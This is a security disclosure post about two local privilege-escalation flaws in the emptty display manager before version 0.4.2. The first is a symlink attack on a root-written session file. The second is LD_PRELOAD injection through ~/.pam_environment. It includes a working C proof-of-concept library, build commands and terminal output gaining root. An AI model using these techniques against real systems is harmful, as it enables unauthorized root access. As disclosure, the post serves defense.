This post describes two security issues I found in emptty
prior to version 0.4.2
.
When a user logs in and chooses a window manager to start,
emptty
will write a file into a file in the users home directory as
root to store the last session:
pathLastSession = "/.cache/emptty/last-session"
In the setUserLastSession
function it will write the last-session
file and then change the access rights to the newly logged in user.
// Sets Last session for declared sysuser and saves it into user's home directory.
func setUserLastSession(usr *sysuser, d *desktop) {
path := usr.homedir + pathLastSession
data := fmt.Sprintf("%s;%s\n", d.exec, stringifyEnv(d.env))
err := mkDirsForFile(path, 0744, usr)
if err != nil {
log.Print(err)
}
err = ioutil.WriteFile(path, []byte(data), 0600)
if err == nil {
err = os.Chown(path, usr.uid, usr.gid)
}
if err != nil {
log.Print(err)
}
}
With symlinks we can trick emptty
to either overwrite an existing
file the users has no access to by making last-session
a symlink
to it or create a new file the owner will own.
This opens up a lot of possibilities for privilege escalation, we could add hook to some program, a cron.tab file or many other ways that would allow code execution by dropping a file into a directory the user is usually not allowed to write to.
$ ls -lsa /home/duncan/.cache/emptty/last-session
0 lrwxrwxrwx 1 duncan duncan 8 Dec 1 19:27 /home/duncan/.cache/emptty/last-session -> /etc/foo
# emptty
┌─┐┌┬┐┌─┐┌┬┐┌┬┐┬ ┬
├┤ │││├─┘ │ │ └┬┘
└─┘┴ ┴┴ ┴ ┴ ┴ 0.4.0
tux login: duncan
Password:
[0] Sway
Select [0]: 0
\
^C
emptty?1$ ls -lsa /etc/foo
4 -rw------- 1 duncan duncan 13 Dec 1 19:27 /etc/foo
emptty
will read the ~/.pam_environment
file through pam and add the specified variables
to the environment.
Users can add a shared-library path to the LD_PRELOAD
environment variable
and when emptty
executes a program as root, the library will be loaded into
the program by the dynamic linker and we can overwrite functions from libc
to run malicious code.
First defineSpecificEnvVariables
adds all variables to the environment:
// Defines specific environmental variables defined by PAM
func defineSpecificEnvVariables() {
if trans != nil {
envs, _ := trans.GetEnvList()
for key, value := range envs {
os.Setenv(key, value)
}
}
}
Then later, when emptty
executes mcookie(1)
it will add all the environment variables to
it and execute it as root.
// Prepares and starts Xorg session for authorized user.
func xorg(usr *sysuser, d *desktop, conf *config) {
︙
// generate mcookie
cmd := exec.Command("/usr/bin/mcookie")
cmd.Env = append(os.Environ())
mcookie, err := cmd.Output()
handleErr(err)
log.Print("Generated mcookie")
︙
}
The following C file is used as a proof of concept,
overwriting getrandom(3)
which will be used by mcookie(1)
.
// gcc -o exploit.so -shared -fPIC -ldl exploit.c
#define _GNU_SOURCE
#include <sys/random.h>
#include <dlfcn.h>
#include <unistd.h>
#include <fcntl.h>
static int (*orig_getrandom)(void *buf, size_t buflen, unsigned int flags);
ssize_t
getrandom(void *buf, size_t buflen, unsigned int flags)
{
if (!orig_getrandom) {
int fd = open("/I_have_root", O_CREAT);
close(fd);
orig_getrandom = dlsym(RTLD_NEXT, "getrandom");
}
return orig_getrandom(buf, buflen, flags);
}
Then we build the shared libary, add a LD_PRELOAD
variable
to the users ~/.pam_environment
and execute emptty as
root, which will result in the file /I_have_root
being
created when emptty starts mcookie(1)
.
$ gcc -o exploit/exploit.so -shared -fPIC -ldl exploit/exploit.c
$ file /I_have_root
/I_have_root: cannot open `/I_have_root' (No such file or directory)
$ cat /home/duncan/.pam_environment
LD_PRELOAD DEFAULT=/home/duncan/repos/emptty/exploit/exploit.so
# ./emptty
┌─┐┌┬┐┌─┐┌┬┐┌┬┐┬ ┬
├┤ │││├─┘ │ │ └┬┘
└─┘┴ ┴┴ ┴ ┴ ┴ 0.4.1
tux login: duncan
Password:
[0] Sway, [1] false
Select [0]: 1
Error: Could not open X Display
Press Enter to continue...
emptty?1$ file /I_have_root
/I_have_root: empty
emptty$ ls -lsa /I_have_root
0 ---------x 1 root root 0 Dec 2 14:55 /I_have_root